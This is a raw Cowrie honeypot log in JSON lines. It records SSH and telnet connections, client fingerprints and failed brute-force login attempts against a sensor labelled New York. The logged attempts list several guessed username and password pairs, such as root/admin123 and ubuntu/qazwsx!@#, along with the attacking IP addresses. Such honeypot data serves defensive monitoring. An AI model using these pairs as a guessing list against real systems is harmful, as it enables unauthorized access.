{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:48.068896Z","src_ip":"58.69.56.44","session":"32c50c0cc769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:48.389577Z","src_ip":"101.36.124.127","session":"b08fcfeb77db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:48.422654Z","src_ip":"40.81.244.142","session":"ffff61225027","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"Password1","message":"login attempt [bitrix/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:49.042141Z","src_ip":"58.69.56.44","session":"32c50c0cc769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.302825927734375,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:49.341776Z","src_ip":"66.132.195.116","session":"c340193d10f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:50.277787Z","src_ip":"58.69.56.44","session":"32c50c0cc769","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":57882,"dst_ip":"159.203.135.109","dst_port":22,"session":"e27bd3991e44","protocol":"ssh","message":"New connection: 96.70.252.227:57882 (159.203.135.109:22) [session: e27bd3991e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:56.921977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:56.939524Z","src_ip":"96.70.252.227","session":"e27bd3991e44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:56.966545Z","src_ip":"96.70.252.227","session":"e27bd3991e44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator1","message":"login attempt [administrator/administrator1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:57.166646Z","src_ip":"96.70.252.227","session":"e27bd3991e44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:35:58.216854Z","src_ip":"96.70.252.227","session":"e27bd3991e44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":45838,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa92542326a4","protocol":"ssh","message":"New connection: 101.36.124.127:45838 (159.203.135.109:22) [session: aa92542326a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:46.200108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:46.204851Z","src_ip":"101.36.124.127","session":"aa92542326a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":50662,"dst_ip":"159.203.135.109","dst_port":22,"session":"cede9b78eaf1","protocol":"ssh","message":"New connection: 40.81.244.142:50662 (159.203.135.109:22) [session: cede9b78eaf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:46.340529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:46.346152Z","src_ip":"40.81.244.142","session":"cede9b78eaf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:46.421774Z","src_ip":"101.36.124.127","session":"aa92542326a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:46.533450Z","src_ip":"40.81.244.142","session":"cede9b78eaf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":59434,"dst_ip":"159.203.135.109","dst_port":22,"session":"efe4486a7bcf","protocol":"ssh","message":"New connection: 58.69.56.44:59434 (159.203.135.109:22) [session: efe4486a7bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:46.758669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:46.763707Z","src_ip":"58.69.56.44","session":"efe4486a7bcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:46.993207Z","src_ip":"58.69.56.44","session":"efe4486a7bcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test00","message":"login attempt [root/test00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:47.423782Z","src_ip":"40.81.244.142","session":"cede9b78eaf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:47.453316Z","src_ip":"101.36.124.127","session":"aa92542326a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazwsx!@#","message":"login attempt [ubuntu/qazwsx!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:47.951996Z","src_ip":"58.69.56.44","session":"efe4486a7bcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:48.613590Z","src_ip":"40.81.244.142","session":"cede9b78eaf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:48.672101Z","src_ip":"101.36.124.127","session":"aa92542326a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:49.187819Z","src_ip":"58.69.56.44","session":"efe4486a7bcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":6838,"dst_ip":"159.203.135.109","dst_port":22,"session":"22e722513c97","protocol":"ssh","message":"New connection: 222.167.161.198:6838 (159.203.135.109:22) [session: 22e722513c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:49.257376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:49.265923Z","src_ip":"222.167.161.198","session":"22e722513c97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:49.540099Z","src_ip":"222.167.161.198","session":"22e722513c97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"superman","message":"login attempt [admin/superman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:50.661535Z","src_ip":"222.167.161.198","session":"22e722513c97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:36:51.937035Z","src_ip":"222.167.161.198","session":"22e722513c97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":60428,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9b0cc338acc","protocol":"ssh","message":"New connection: 101.36.124.127:60428 (159.203.135.109:22) [session: f9b0cc338acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:42.492528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:42.497741Z","src_ip":"101.36.124.127","session":"f9b0cc338acc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:42.713655Z","src_ip":"101.36.124.127","session":"f9b0cc338acc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"QWEasd123!","message":"login attempt [ubuntu/QWEasd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:43.610536Z","src_ip":"101.36.124.127","session":"f9b0cc338acc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:44.829659Z","src_ip":"101.36.124.127","session":"f9b0cc338acc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":12401,"dst_ip":"10.17.0.5","dst_port":22,"session":"770ef12a589d","protocol":"ssh","message":"New connection: 193.46.255.86:12401 (10.17.0.5:22) [session: 770ef12a589d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:49.364833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:49.369268Z","src_ip":"193.46.255.86","session":"770ef12a589d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:49.509834Z","src_ip":"193.46.255.86","session":"770ef12a589d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stfu_and_be_quite","message":"login attempt [root/stfu_and_be_quite] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:50.132935Z","src_ip":"193.46.255.86","session":"770ef12a589d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:51.271434Z","src_ip":"193.46.255.86","session":"770ef12a589d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":42378,"dst_ip":"159.203.135.109","dst_port":22,"session":"996d957d48ed","protocol":"ssh","message":"New connection: 40.81.244.142:42378 (159.203.135.109:22) [session: 996d957d48ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:51.912568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:37:51.916920Z","src_ip":"40.81.244.142","session":"996d957d48ed","protocol":"ssh"}
